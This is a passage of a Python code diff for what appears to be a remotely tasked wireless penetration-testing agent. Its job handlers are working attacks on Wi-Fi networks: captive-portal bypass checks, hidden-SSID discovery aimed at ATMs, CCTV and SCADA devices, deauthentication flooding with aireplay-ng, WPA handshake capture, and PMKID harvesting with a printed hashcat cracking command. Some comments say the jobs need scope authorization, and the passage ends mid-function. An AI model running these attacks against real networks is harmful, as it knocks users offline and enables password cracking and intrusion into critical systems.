773
+ f.write(conf_block)
774
+ _run_quiet(['killall', 'wpa_supplicant'], sudo=True)
775
+ code, out = _exec_cmd(buf, ['wpa_supplicant', '-B', '-i', iface,
776
+ '-c', wpa_conf], timeout=15, sudo=True)
777
+ if code == 0:
778
+ buf.write('[*] Requesting DHCP lease...\n')
779
+ _exec_cmd(buf, ['dhclient', iface], timeout=15, sudo=True)
780
+
781
+ time.sleep(3)
782
+ buf.write('\n[*] Checking connectivity...\n')
783
+
784
+ # Get assigned IP
785
+ _, ip_out = _run_quiet(['ip', 'addr', 'show', iface])
786
+ buf.write(ip_out + '\n')
787
+
788
+ assigned_ip = ''
789
+ gateway = ''
790
+ for line in ip_out.splitlines():
791
+ m = re.search(r'inet (\d+\.\d+\.\d+\.\d+)', line)
792
+ if m:
793
+ assigned_ip = m.group(1)
794
+ break
795
+
796
+ _, route_out = _run_quiet(['ip', 'route', 'show', 'dev', iface])
797
+ for line in route_out.splitlines():
798
+ m = re.search(r'default via (\d+\.\d+\.\d+\.\d+)', line)
799
+ if m:
800
+ gateway = m.group(1)
801
+ break
802
+
803
+ # Connectivity test
804
+ ping_code, ping_out = _run_quiet(['ping', '-c', '3', '-W', '3', '-I', iface, '8.8.8.8'])
805
+ connected = ping_code == 0
806
+
807
+ if connected:
808
+ buf.write(f'[+] Connected! IP: {assigned_ip}, Gateway: {gateway}\n')
809
+ else:
810
+ buf.write(f'[-] Connection established but no internet (IP: {assigned_ip})\n')
811
+ buf.write(ping_out + '\n')
812
+ buf.flush()
813
+
814
+ client.send_result(jid, {
815
+ 'ssid': ssid,
816
+ 'connected': connected,
817
+ 'assigned_ip': assigned_ip,
818
+ 'gateway': gateway,
819
+ 'interface': iface,
820
+ 'connectivity_test': ping_out[:2000],
821
+ })
822
+
823
+
824
+ def execute_captive_test(client: AegisNodeClient, job: dict):
825
+ """Test captive portal bypass techniques."""
826
+ jid = job['job_id']
827
+ targets = job.get('targets', {})
828
+ ssid = targets.get('ssid', '')
829
+ params = job.get('parameters', {})
830
+ iface = params.get('interface', 'wlan0')
831
+ buf = OutputBuffer(client, jid)
832
+
833
+ findings = []
834
+
835
+ if ssid:
836
+ buf.write(f'[*] Connecting to captive network "{ssid}" on {iface}...\n')
837
+ _run_quiet(['systemctl', 'start', 'NetworkManager'], sudo=True)
838
+ time.sleep(2)
839
+ _run_quiet(['nmcli', 'dev', 'wifi', 'connect', ssid, 'ifname', iface])
840
+ time.sleep(3)
841
+
842
+ buf.write('[*] Testing captive portal bypass vectors...\n\n')
843
+
844
+ # 1. DNS resolution to external DNS
845
+ buf.write('[1/5] Testing external DNS resolution (8.8.8.8)...\n')
846
+ code, out = _run_quiet(['nslookup', 'example.com', '8.8.8.8'], timeout=10)
847
+ dns_bypass = code == 0 and 'NXDOMAIN' not in out and 'timed out' not in out.lower()
848
+ if dns_bypass:
849
+ findings.append({'test': 'external_dns', 'result': 'bypass',
850
+ 'detail': 'External DNS (8.8.8.8) resolves — DNS tunnel feasible'})
851
+ buf.write(' [!] External DNS resolves — DNS tunnel bypass feasible\n')
852
+ else:
853
+ buf.write(' [OK] External DNS blocked\n')
854
+ buf.flush()
855
+
856
+ # 2. Direct IP access (bypass DNS-based captive portal)
857
+ buf.write('[2/5] Testing direct IP access (1.1.1.1)...\n')
858
+ code, out = _run_quiet(['curl', '-sk', '--connect-timeout', '5',
859
+ '-o', '/dev/null', '-w', '%{http_code}',
860
+ 'https://1.1.1.1'], timeout=10)
861
+ direct_ip = out.strip() == '200' if code == 0 else False
862
+ if direct_ip:
863
+ findings.append({'test': 'direct_ip', 'result': 'bypass',
864
+ 'detail': 'Direct HTTPS to 1.1.1.1 returns 200 — portal bypassed via IP'})
865
+ buf.write(' [!] Direct HTTPS works — captive portal bypassable via IP\n')
866
+ else:
867
+ buf.write(f' [OK] Direct IP blocked or redirected (code: {out.strip()})\n')
868
+ buf.flush()
869
+
870
+ # 3. HTTP redirect detection (portal fingerprint)
871
+ buf.write('[3/5] Detecting captive portal redirect...\n')
872
+ code, out = _run_quiet(['curl', '-sk', '--connect-timeout', '5',
873
+ '-o', '/dev/null', '-w', '%{redirect_url}',
874
+ '-L', '--max-redirs', '0',
875
+ 'http://detectportal.firefox.com/canonical.html'], timeout=10)
876
+ portal_url = out.strip() if out.strip() and 'http' in out else ''
877
+ if portal_url:
878
+ findings.append({'test': 'portal_detect', 'result': 'detected',
879
+ 'detail': f'Captive portal redirects to: {portal_url}'})
880
+ buf.write(f' [*] Portal detected: {portal_url}\n')
881
+ else:
882
+ buf.write(' [*] No redirect detected (open or already authenticated)\n')
883
+ buf.flush()
884
+
885
+ # 4. Check for MAC-based session tracking
886
+ buf.write('[4/5] Checking current MAC address...\n')
887
+ _, mac_out = _run_quiet(['ip', 'link', 'show', iface])
888
+ current_mac = ''
889
+ for line in mac_out.splitlines():
890
+ m = re.search(r'link/ether ([0-9a-f:]{17})', line)
891
+ if m:
892
+ current_mac = m.group(1)
893
+ break
894
+ if current_mac:
895
+ buf.write(f' MAC: {current_mac}\n')
896
+ buf.write(' [*] MAC rotation via macchanger can bypass MAC-based session limits\n')
897
+ buf.flush()
898
+
899
+ # 5. ICMP tunnel feasibility
900
+ buf.write('[5/5] Testing ICMP to external host...\n')
901
+ code, out = _run_quiet(['ping', '-c', '2', '-W', '3', '8.8.8.8'], timeout=10)
902
+ icmp_open = code == 0
903
+ if icmp_open:
904
+ findings.append({'test': 'icmp_tunnel', 'result': 'feasible',
905
+ 'detail': 'ICMP to external host works — ICMP tunnel feasible'})
906
+ buf.write(' [!] ICMP reaches external — tunnel bypass feasible\n')
907
+ else:
908
+ buf.write(' [OK] ICMP blocked\n')
909
+ buf.flush()
910
+
911
+ buf.write(f'\n[+] Captive portal test complete: {len(findings)} bypass vector(s) found\n')
912
+ buf.flush()
913
+
914
+ client.send_result(jid, {
915
+ 'findings': findings,
916
+ 'bypass_count': len(findings),
917
+ 'portal_url': portal_url,
918
+ 'current_mac': current_mac,
919
+ 'ssid': ssid,
920
+ })
921
+
922
+
923
+ def execute_capture(client: AegisNodeClient, job: dict):
924
+ """Packet capture using tcpdump (managed mode)."""
925
+ jid = job['job_id']
926
+ iface = job.get('parameters', {}).get('interface', 'wlan0')
927
+ duration = min(job.get('parameters', {}).get('duration', 60), 300)
928
+ buf = OutputBuffer(client, jid)
929
+
930
+ cap_path = f'/tmp/aegis_capture_{jid}.pcap'
931
+ buf.write(f'[*] Capturing on {iface} for {duration}s → {cap_path}\n')
932
+ code, out = _exec_cmd(buf,
933
+ ['timeout', str(duration), 'tcpdump', '-i', iface, '-c', '10000',
934
+ '-w', cap_path],
935
+ timeout=duration + 30, sudo=True)
936
+ buf.write(f'[+] Capture complete: {cap_path}\n')
937
+ buf.flush()
938
+ client.send_result(jid, {'capture_path': cap_path, 'output': out[:5000]})
939
+
940
+
941
+ # ── Job executors (P2: monitor-mode) ─────────────────────────────────────
942
+
943
+ def execute_hidden_scan(client: AegisNodeClient, job: dict):
944
+ """Discover hidden networks using monitor mode + airodump-ng.
945
+
946
+ Hidden SSIDs (broadcast with empty ESSID) are common on ATMs, POS terminals,
947
+ bank branches, CCTV/NVR systems, SCADA/ICS, building management, and access
948
+ control. This scan:
949
+ 1. Enters monitor mode
950
+ 2. Runs airodump-ng to capture ALL beacons (including hidden)
951
+ 3. Cross-references MACs against critical-infrastructure OUI database
952
+ 4. Identifies connected clients whose probe requests may reveal the SSID
953
+ 5. Optionally sends targeted deauth to force SSID disclosure (if scope allows)
954
+ """
955
+ jid = job['job_id']
956
+ params = job.get('parameters', {})
957
+ iface = params.get('interface', 'wlan0')
958
+ duration = min(params.get('duration', 30), 120)
959
+ channel = params.get('channel', '')
960
+ reveal_deauth = params.get('reveal_deauth', False)
961
+ buf = OutputBuffer(client, jid)
962
+ original_iface = iface
963
+
964
+ buf.write('=' * 60 + '\n')
965
+ buf.write('[*] HIDDEN NETWORK DISCOVERY SCAN\n')
966
+ buf.write(f' Duration: {duration}s | Interface: {iface}\n')
967
+ buf.write('=' * 60 + '\n\n')
968
+
969
+ # Step 1: Enter monitor mode
970
+ mon_iface = _enter_monitor_mode(iface, buf)
971
+ if not mon_iface:
972
+ client.send_error(jid, 'Failed to enter monitor mode')
973
+ return
974
+
975
+ try:
976
+ # Step 2: Run airodump-ng
977
+ csv_prefix = f'/tmp/aegis_hidden_{jid}'
978
+ airodump_cmd = ['airodump-ng', mon_iface, '-w', csv_prefix, '--output-format', 'csv']
979
+ if channel:
980
+ airodump_cmd += ['-c', str(channel)]
981
+
982
+ buf.write(f'[*] Running airodump-ng for {duration}s (all channels)...\n')
983
+ buf.write('[*] Listening for hidden SSIDs, client probes, and beacon frames...\n\n')
984
+
985
+ proc = subprocess.Popen(
986
+ ['sudo'] + airodump_cmd if os.geteuid() != 0 else airodump_cmd,
987
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
988
+ )
989
+ time.sleep(duration)
990
+ proc.terminate()
991
+ try:
992
+ proc.wait(timeout=10)
993
+ except subprocess.TimeoutExpired:
994
+ proc.kill()
995
+
996
+ # Step 3: Parse results
997
+ csv_file = csv_prefix + '-01.csv'
998
+ networks, clients = _parse_airodump_csv(csv_file)
999
+
1000
+ # Separate hidden vs visible
1001
+ hidden_nets = [n for n in networks if n['hidden']]
1002
+ visible_nets = [n for n in networks if not n['hidden']]
1003
+ infra_nets = [n for n in networks if n['critical_infra']]
1004
+ infra_clients = [c for c in clients if c['critical_infra']]
1005
+
1006
+ buf.write(f'[+] Scan complete: {len(networks)} total networks\n')
1007
+ buf.write(f' Hidden SSIDs: {len(hidden_nets)}\n')
1008
+ buf.write(f' Visible SSIDs: {len(visible_nets)}\n')
1009
+ buf.write(f' Critical infrastructure: {len(infra_nets)} networks, '
1010
+ f'{len(infra_clients)} clients\n')
1011
+ buf.write(f' Connected clients observed: {len(clients)}\n\n')
1012
+
1013
+ # Step 4: Report hidden networks with vendor classification
1014
+ if hidden_nets:
1015
+ buf.write('─' * 60 + '\n')
1016
+ buf.write('[!] HIDDEN NETWORKS DISCOVERED\n')
1017
+ buf.write('─' * 60 + '\n')
1018
+ for i, net in enumerate(hidden_nets, 1):
1019
+ vendor = net['vendor'] or _oui_lookup(net['bssid'])
1020
+ buf.write(f'\n [{i}] BSSID: {net["bssid"]}\n')
1021
+ buf.write(f' Channel: {net["channel"]} | '
1022
+ f'Power: {net["power_dbm"]} dBm | '
1023
+ f'Encryption: {net["encryption"]}\n')
1024
+ if vendor:
1025
+ buf.write(f' [!!] VENDOR: {vendor}\n')
1026
+ buf.write(f' ⚠ Likely critical infrastructure device\n')
1027
+ else:
1028
+ buf.write(f' Vendor: Unknown (OUI {net["bssid"][:8]})\n')
1029
+
1030
+ # Find connected clients for this hidden AP
1031
+ ap_clients = [c for c in clients if c['bssid'] == net['bssid']]
1032
+ if ap_clients:
1033
+ buf.write(f' Connected clients: {len(ap_clients)}\n')
1034
+ for cl in ap_clients[:10]:
1035
+ cl_vendor = cl['vendor'] or ''
1036
+ probed = cl.get('probed_ssids', '')
1037
+ buf.write(f' → {cl["station_mac"]}')
1038
+ if cl_vendor:
1039
+ buf.write(f' [{cl_vendor}]')
1040
+ if probed:
1041
+ buf.write(f' probed: {probed}')
1042
+ buf.write('\n')
1043
+ buf.write('\n')
1044
+ buf.flush()
1045
+
1046
+ # Step 5: Report ALL critical infrastructure devices (hidden or not)
1047
+ if infra_nets:
1048
+ buf.write('─' * 60 + '\n')
1049
+ buf.write('[!] CRITICAL INFRASTRUCTURE DEVICES ON WiFi\n')
1050
+ buf.write('─' * 60 + '\n')
1051
+ for net in infra_nets:
1052
+ hidden_tag = ' [HIDDEN]' if net['hidden'] else ''
1053
+ buf.write(f' {net["bssid"]} {net["vendor"]:<35s} '
1054
+ f'ch{net["channel"]:>3s} {net["encryption"]:<8s} '
1055
+ f'{net["ssid"]}{hidden_tag}\n')
1056
+ buf.write('\n')
1057
+
1058
+ if infra_clients:
1059
+ buf.write('[!] Critical infra client devices:\n')
1060
+ for cl in infra_clients:
1061
+ buf.write(f' {cl["station_mac"]} {cl["vendor"]:<35s} '
1062
+ f'→ AP {cl["bssid"]}\n')
1063
+ buf.write('\n')
1064
+ buf.flush()
1065
+
1066
+ # Step 6: Attempt SSID reveal via targeted deauth (if allowed)
1067
+ revealed = {}
1068
+ if reveal_deauth and hidden_nets:
1069
+ buf.write('─' * 60 + '\n')
1070
+ buf.write('[*] SSID REVEAL — targeted deauth (scope-approved)\n')
1071
+ buf.write('─' * 60 + '\n')
1072
+ for net in hidden_nets[:5]:
1073
+ ap_clients = [c for c in clients if c['bssid'] == net['bssid']]
1074
+ if not ap_clients:
1075
+ buf.write(f' {net["bssid"]}: no clients to deauth, skipping\n')
1076
+ continue
1077
+
1078
+ target_client = ap_clients[0]['station_mac']
1079
+ buf.write(f' {net["bssid"]}: deauthing {target_client}...\n')
1080
+
1081
+ # Send 3 deauth frames
1082
+ _run_quiet(['aireplay-ng', '--deauth', '3', '-a', net['bssid'],
1083
+ '-c', target_client, mon_iface], timeout=10, sudo=True)
1084
+ time.sleep(3)
1085
+
1086
+ # Re-scan briefly to catch the probe response
1087
+ reveal_prefix = f'/tmp/aegis_reveal_{jid}_{net["bssid"].replace(":", "")}'
1088
+ reveal_proc = subprocess.Popen(
1089
+ (['sudo'] if os.geteuid() != 0 else []) +
1090
+ ['airodump-ng', mon_iface, '-w', reveal_prefix,
1091
+ '--output-format', 'csv', '-c', net['channel'] or '1',
1092
+ '--bssid', net['bssid']],
1093
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
1094
+ )
1095
+ time.sleep(8)
1096
+ reveal_proc.terminate()
1097
+ try:
1098
+ reveal_proc.wait(timeout=5)
1099
+ except subprocess.TimeoutExpired:
1100
+ reveal_proc.kill()
1101
+
1102
+ reveal_csv = reveal_prefix + '-01.csv'
1103
+ reveal_nets, _ = _parse_airodump_csv(reveal_csv)
1104
+ for rn in reveal_nets:
1105
+ if rn['bssid'] == net['bssid'] and rn['ssid']:
1106
+ revealed[net['bssid']] = rn['ssid']
1107
+ buf.write(f' [!!] REVEALED: {net["bssid"]} → "{rn["ssid"]}"\n')
1108
+ break
1109
+ else:
1110
+ buf.write(f' {net["bssid"]}: SSID still hidden after deauth\n')
1111
+
1112
+ buf.write('\n')
1113
+ buf.flush()
1114
+
1115
+ # Step 7: Impact assessment
1116
+ buf.write('─' * 60 + '\n')
1117
+ buf.write('[*] SECURITY IMPACT ASSESSMENT\n')
1118
+ buf.write('─' * 60 + '\n')
1119
+
1120
+ risk_findings = []
1121
+ for net in hidden_nets:
1122
+ finding = {
1123
+ 'bssid': net['bssid'],
1124
+ 'channel': net['channel'],
1125
+ 'power_dbm': net['power_dbm'],
1126
+ 'encryption': net['encryption'],
1127
+ 'vendor': net['vendor'],
1128
+ 'critical_infra': net['critical_infra'],
1129
+ 'revealed_ssid': revealed.get(net['bssid'], ''),
1130
+ 'connected_clients': len([c for c in clients if c['bssid'] == net['bssid']]),
1131
+ }
1132
+ risk = 'INFO'
1133
+ if net['critical_infra']:
1134
+ risk = 'CRITICAL'
1135
+ elif net['encryption'] in ('', 'Open', 'OPN', 'WEP'):
1136
+ risk = 'HIGH'
1137
+ elif finding['connected_clients'] > 0:
1138
+ risk = 'MEDIUM'
1139
+ finding['risk'] = risk
1140
+ risk_findings.append(finding)
1141
+
1142
+ buf.write(f' [{risk}] {net["bssid"]}')
1143
+ if finding['revealed_ssid']:
1144
+ buf.write(f' "{finding["revealed_ssid"]}"')
1145
+ if net['vendor']:
1146
+ buf.write(f' ({net["vendor"]})')
1147
+ buf.write('\n')
1148
+ if risk == 'CRITICAL':
1149
+ buf.write(f' ⚠ Critical infrastructure on hidden WiFi — '
1150
+ f'SSID hiding provides no security, trivially discovered\n')
1151
+ elif risk == 'HIGH':
1152
+ buf.write(f' ⚠ Hidden + weak/no encryption — immediate risk\n')
1153
+ buf.write('\n')
1154
+
1155
+ if hidden_nets:
1156
+ buf.write('[*] Remediation:\n')
1157
+ buf.write(' • Hidden SSIDs provide ZERO security — they are trivially '
1158
+ 'discovered via monitor mode\n')
1159
+ buf.write(' • Critical infrastructure (ATM/CCTV/SCADA/POS) should use '
1160
+ 'WPA3-Enterprise + RADIUS + MAC filtering + WIDS\n')
1161
+ buf.write(' • Segment IoT/CCTV onto isolated VLANs with no internet egress\n')
1162
+ buf.write(' • Deploy Wireless IDS (WIDS) to detect unauthorized scanning\n')
1163
+ buf.write(' • Consider wired connections for critical infrastructure\n')
1164
+ buf.flush()
1165
+
1166
+ # Cleanup temp files
1167
+ for suffix in ['-01.csv', '-01.cap', '-01.kismet.csv', '-01.kismet.netxml',
1168
+ '-01.log.csv']:
1169
+ try:
1170
+ os.remove(csv_prefix + suffix)
1171
+ except FileNotFoundError:
1172
+ pass
1173
+
1174
+ client.send_result(jid, {
1175
+ 'total_networks': len(networks),
1176
+ 'hidden_networks': len(hidden_nets),
1177
+ 'critical_infra_networks': len(infra_nets),
1178
+ 'critical_infra_clients': len(infra_clients),
1179
+ 'hidden_findings': risk_findings,
1180
+ 'revealed_ssids': revealed,
1181
+ 'visible_networks': [{'bssid': n['bssid'], 'ssid': n['ssid'],
1182
+ 'channel': n['channel'], 'encryption': n['encryption'],
1183
+ 'vendor': n['vendor']} for n in visible_nets[:100]],
1184
+ 'scan_duration_s': duration,
1185
+ })
1186
+
1187
+ finally:
1188
+ _exit_monitor_mode(mon_iface, original_iface, buf)
1189
+
1190
+
1191
+ def execute_handshake_capture(client: AegisNodeClient, job: dict):
1192
+ """Capture WPA/WPA2 4-way handshake for offline cracking.
1193
+
1194
+ Monitors the target AP's channel, optionally sends deauth to force
1195
+ reconnection, and captures the EAPOL handshake frames.
1196
+ """
1197
+ jid = job['job_id']
1198
+ targets = job.get('targets', {})
1199
+ target_bssid = targets.get('bssid', '')
1200
+ target_channel = str(targets.get('channel', ''))
1201
+ params = job.get('parameters', {})
1202
+ iface = params.get('interface', 'wlan0')
1203
+ duration = min(params.get('duration', 60), 300)
1204
+ send_deauth = params.get('deauth', True)
1205
+ deauth_count = min(params.get('deauth_count', 5), 20)
1206
+ buf = OutputBuffer(client, jid)
1207
+ original_iface = iface
1208
+
1209
+ if not target_bssid:
1210
+ client.send_error(jid, 'No target BSSID specified')
1211
+ return
1212
+
1213
+ buf.write('=' * 60 + '\n')
1214
+ buf.write('[*] WPA HANDSHAKE CAPTURE\n')
1215
+ buf.write(f' Target: {target_bssid} Channel: {target_channel or "auto"}\n')
1216
+ buf.write(f' Duration: {duration}s Deauth: {"yes" if send_deauth else "no"}\n')
1217
+ buf.write('=' * 60 + '\n\n')
1218
+
1219
+ mon_iface = _enter_monitor_mode(iface, buf)
1220
+ if not mon_iface:
1221
+ client.send_error(jid, 'Failed to enter monitor mode')
1222
+ return
1223
+
1224
+ try:
1225
+ cap_prefix = f'/tmp/aegis_hs_{jid}'
1226
+ airodump_cmd = ['airodump-ng', mon_iface, '-w', cap_prefix,
1227
+ '--output-format', 'cap,csv', '--bssid', target_bssid]
1228
+ if target_channel:
1229
+ airodump_cmd += ['-c', target_channel]
1230
+
1231
+ buf.write('[*] Starting targeted capture...\n')
1232
+ airodump_proc = subprocess.Popen(
1233
+ (['sudo'] if os.geteuid() != 0 else []) + airodump_cmd,
1234
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
1235
+ )
1236
+ time.sleep(5)
1237
+
1238
+ # Send deauth to force reconnection
1239
+ if send_deauth:
1240
+ buf.write(f'[*] Sending {deauth_count} deauth frames to {target_bssid}...\n')
1241
+ deauth_cmd = ['aireplay-ng', '--deauth', str(deauth_count),
1242
+ '-a', target_bssid, mon_iface]
1243
+ code, out = _exec_cmd(buf, deauth_cmd, timeout=30, sudo=True)
1244
+ if code == 0:
1245
+ buf.write('[+] Deauth sent — waiting for client reconnection...\n')
1246
+ else:
1247
+ buf.write(f'[-] Deauth failed (exit {code}), continuing passive capture...\n')
1248
+
1249
+ remaining = max(duration - 5, 10)
1250
+ buf.write(f'[*] Capturing for {remaining}s more...\n')
1251
+ time.sleep(remaining)
1252
+ airodump_proc.terminate()
1253
+ try:
1254
+ airodump_proc.wait(timeout=10)
1255
+ except subprocess.TimeoutExpired:
1256
+ airodump_proc.kill()
1257
+
1258
+ # Check for handshake in cap file
1259
+ cap_file = cap_prefix + '-01.cap'
1260
+ handshake_found = False
1261
+
1262
+ if os.path.exists(cap_file):
1263
+ code, out = _run_quiet(['aircrack-ng', cap_file], timeout=15)
1264
+ handshake_found = 'handshake' in out.lower() or '1 handshake' in out.lower()
1265
+ if handshake_found:
1266
+ buf.write(f'\n[+] ✓ HANDSHAKE CAPTURED for {target_bssid}\n')
1267
+ buf.write(f' File: {cap_file}\n')
1268
+ buf.write(' This can be cracked offline with hashcat/aircrack-ng\n')
1269
+ else:
1270
+ buf.write(f'\n[-] No handshake captured in {duration}s\n')
1271
+ buf.write(' Try: longer duration, closer proximity, or wait for '
1272
+ 'client activity\n')
1273
+ else:
1274
+ buf.write('[-] No capture file generated\n')
1275
+ buf.flush()
1276
+
1277
+ client.send_result(jid, {
1278
+ 'target_bssid': target_bssid,
1279
+ 'handshake_captured': handshake_found,
1280
+ 'capture_file': cap_file if os.path.exists(cap_file) else '',
1281
+ 'deauth_sent': send_deauth,
1282
+ 'duration_s': duration,
1283
+ })
1284
+
1285
+ finally:
1286
+ _exit_monitor_mode(mon_iface, original_iface, buf)
1287
+
1288
+
1289
+ def execute_pmkid_harvest(client: AegisNodeClient, job: dict):
1290
+ """Harvest PMKID from AP without needing a connected client.
1291
+
1292
+ Uses hcxdumptool to request PMKID from the target AP. This is a clientless
1293
+ attack — works even when no clients are connected, making it ideal for
1294
+ hidden/isolated networks (ATMs, CCTV, etc.).
1295
+ """
1296
+ jid = job['job_id']
1297
+ targets = job.get('targets', {})
1298
+ target_bssid = targets.get('bssid', '')
1299
+ params = job.get('parameters', {})
1300
+ iface = params.get('interface', 'wlan0')
1301
+ duration = min(params.get('duration', 60), 180)
1302
+ buf = OutputBuffer(client, jid)
1303
+ original_iface = iface
1304
+
1305
+ buf.write('=' * 60 + '\n')
1306
+ buf.write('[*] PMKID HARVEST (clientless attack)\n')
1307
+ if target_bssid:
1308
+ buf.write(f' Target: {target_bssid}\n')
1309
+ buf.write(f' Duration: {duration}s | Interface: {iface}\n')
1310
+ buf.write('=' * 60 + '\n\n')
1311
+
1312
+ # Check for hcxdumptool
1313
+ code, _ = _run_quiet(['which', 'hcxdumptool'])
1314
+ use_hcxdumptool = code == 0
1315
+ code_hcxpcap, _ = _run_quiet(['which', 'hcxpcapngtool'])
1316
+ has_hcxpcapngtool = code_hcxpcap == 0
1317
+
1318
+ if not use_hcxdumptool:
1319
+ buf.write('[!] hcxdumptool not found — falling back to hcxtools method\n')
1320
+ # Alternative: use airodump + wpa_supplicant PMKID grab
1321
+ code, _ = _run_quiet(['which', 'airodump-ng'])
1322
+ if code != 0:
1323
+ client.send_error(jid, 'Neither hcxdumptool nor airodump-ng available')
1324
+ return
1325
+
1326
+ mon_iface = _enter_monitor_mode(iface, buf)
1327
+ if not mon_iface:
1328
+ client.send_error(jid, 'Failed to enter monitor mode')
1329
+ return
1330
+
1331
+ try:
1332
+ pcapng_path = f'/tmp/aegis_pmkid_{jid}.pcapng'
1333
+ pmkid_count = 0
1334
+
1335
+ if use_hcxdumptool:
1336
+ # hcxdumptool sends Association Requests to solicit PMKID
1337
+ hcx_cmd = ['hcxdumptool', '-i', mon_iface, '-o', pcapng_path,
1338
+ '--enable_status=1']
1339
+ if target_bssid:
1340
+ filterlist = f'/tmp/aegis_pmkid_filter_{jid}.txt'
1341
+ with open(filterlist, 'w') as f:
1342
+ f.write(target_bssid.replace(':', '').lower() + '\n')
1343
+ hcx_cmd += ['--filterlist_ap=' + filterlist, '--filtermode=2']
1344
+
1345
+ buf.write(f'[*] Running hcxdumptool for {duration}s...\n')
1346
+ buf.write('[*] Sending association requests to solicit PMKID...\n')
1347
+ proc = subprocess.Popen(
1348
+ (['sudo'] if os.geteuid() != 0 else []) + hcx_cmd,
1349
+ stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,
1350
+ )
1351
+
1352
+ start = time.time()
1353
+ while time.time() - start < duration and RUNNING:
1354
+ line = ''
1355
+ try:
1356
+ line = proc.stdout.readline()
1357
+ except Exception:
1358
+ break
1359
+ if line:
1360
+ buf.write(line)
1361
+ if 'pmkid' in line.lower() or 'PMKID' in line:
1362
+ pmkid_count += 1
1363
+ if proc.poll() is not None:
1364
+ break
1365
+
1366
+ proc.terminate()
1367
+ try:
1368
+ proc.wait(timeout=10)
1369
+ except subprocess.TimeoutExpired:
1370
+ proc.kill()
1371
+
1372
+ # Convert to hashcat format
1373
+ if has_hcxpcapngtool and os.path.exists(pcapng_path):
1374
+ hash_file = f'/tmp/aegis_pmkid_{jid}.22000'
1375
+ code, out = _run_quiet(['hcxpcapngtool', '-o', hash_file, pcapng_path],
1376
+ timeout=30)
1377
+ if code == 0 and os.path.exists(hash_file):
1378
+ with open(hash_file) as f:
1379
+ pmkid_count = sum(1 for line in f if line.strip())
1380
+ buf.write(f'\n[+] Extracted {pmkid_count} PMKID hash(es) → {hash_file}\n')
1381
+ buf.write(' Crack with: hashcat -m 22000 -a 0 '
1382
+ f'{hash_file} wordlist.txt\n')
1383
+ else:
1384
+ buf.write('\n[-] No PMKID extracted from capture\n')
1385
+ else:
1386
+ # Fallback: airodump passive capture for EAPOL/PMKID
1387
+ buf.write('[*] Passive PMKID capture via airodump-ng...\n')
1388
+ cap_prefix = f'/tmp/aegis_pmkid_{jid}'
1389
+ airodump_cmd = ['airodump-ng', mon_iface, '-w', cap_prefix,
1390
+ '--output-format', 'cap']
1391
+ if target_bssid:
1392
+ airodump_cmd += ['--bssid', target_bssid]
1393
+ proc = subprocess.Popen(
1394
+ (['sudo'] if os.geteuid() != 0 else []) + airodump_cmd,
1395
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
1396
+ )
1397
+ time.sleep(duration)
1398
+ proc.terminate()
1399
+ try:
1400
+ proc.wait(timeout=10)
1401
+ except subprocess.TimeoutExpired:
1402
+ proc.kill()
1403
+
1404
+ cap_file = cap_prefix + '-01.cap'
1405
+ if has_hcxpcapngtool and os.path.exists(cap_file):
1406
+ hash_file = f'/tmp/aegis_pmkid_{jid}.22000'
1407
+ code, _ = _run_quiet(['hcxpcapngtool', '-o', hash_file, cap_file],
1408
+ timeout=30)
1409
+ if code == 0 and os.path.exists(hash_file):
1410
+ with open(hash_file) as f:
1411
+ pmkid_count = sum(1 for line in f if line.strip())
1412
+ buf.write(f'\n[+] Extracted {pmkid_count} PMKID hash(es)\n')
1413
+ pcapng_path = cap_file
1414
+
1415
+ vendor = _oui_lookup(target_bssid) if target_bssid else ''
1416
+ if vendor:
1417
+ buf.write(f'\n[*] Target vendor: {vendor}\n')
1418
+ buf.write(' ⚠ PMKID from critical infrastructure = PSK reuse risk\n')
1419
+
1420
+ if pmkid_count > 0:
1421
+ buf.write(f'\n[+] {pmkid_count} PMKID(s) harvested — offline cracking possible\n')
1422
+ else:
1423
+ buf.write('\n[-] No PMKID obtained — AP may not support PMKID or uses WPA3-SAE\n')
1424
+ buf.flush()
1425
+
1426
+ client.send_result(jid, {
1427
+ 'target_bssid': target_bssid,
1428
+ 'pmkid_count': pmkid_count,
1429
+ 'capture_file': pcapng_path if os.path.exists(pcapng_path) else '',
1430
+ 'vendor': vendor,
1431
+ 'duration_s': duration,
1432
+ })
1433
+
1434
+ finally:
1435
+ _exit_monitor_mode(mon_iface, original_iface, buf)
1436
+
1437
+
1438
+ def execute_deauth_capture(client: AegisNodeClient, job: dict):
1439
+ """Deauth + capture: disconnect clients and capture reconnection traffic.
1440
+
1441
+ This is the aggressive variant — sends sustained deauth frames to a target AP.
1442
+ Requires explicit scope authorization (wireless_deauth_allowed).
1443
+ """
1444
+ jid = job['job_id']
1445
+ targets = job.get('targets', {})
1446
+ target_bssid = targets.get('bssid', '')
1447
+ target_client = targets.get('client_mac', '')
1448
+ params = job.get('parameters', {})
1449
+ iface = params.get('interface', 'wlan0')
1450
+ duration = min(params.get('duration', 30), 120)
1451
+ deauth_count = min(params.get('deauth_count', 10), 50)
1452
+ buf = OutputBuffer(client, jid)
1453
+ original_iface = iface
1454
+
1455
+ if not target_bssid:
1456
+ client.send_error(jid, 'No target BSSID specified')
1457
+ return
1458
+
1459
+ buf.write('=' * 60 + '\n')
1460
+ buf.write('[*] DEAUTH + CAPTURE (scope-authorized)\n')
1461
+ buf.write(f' AP: {target_bssid}\n')
1462
+ if target_client:
1463
+ buf.write(f' Client: {target_client}\n')
1464
+ else:
1465
+ buf.write(' Client: broadcast (all clients)\n')
1466
+ buf.write(f' Deauth frames: {deauth_count} Duration: {duration}s\n')
1467
+ buf.write('=' * 60 + '\n\n')
1468
+
1469
+ mon_iface = _enter_monitor_mode(iface, buf)
1470
+ if not mon_iface:
1471
+ client.send_error(jid, 'Failed to enter monitor mode')
1472
+ return
1473
+
1474
+ try:
1475
+ # Start capture in background
1476
+ cap_prefix = f'/tmp/aegis_deauth_{jid}'
1477
+ channel = str(targets.get('channel', ''))
1478
+ airodump_cmd = ['airodump-ng', mon_iface, '-w', cap_prefix,
1479
+ '--output-format', 'cap', '--bssid', target_bssid]
1480
+ if channel:
1481
+ airodump_cmd += ['-c', channel]
1482
+
1483
+ buf.write('[*] Starting background capture...\n')
1484
+ capture_proc = subprocess.Popen(
1485
+ (['sudo'] if os.geteuid() != 0 else []) + airodump_cmd,
1486
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
1487
+ )
1488
+ time.sleep(3)
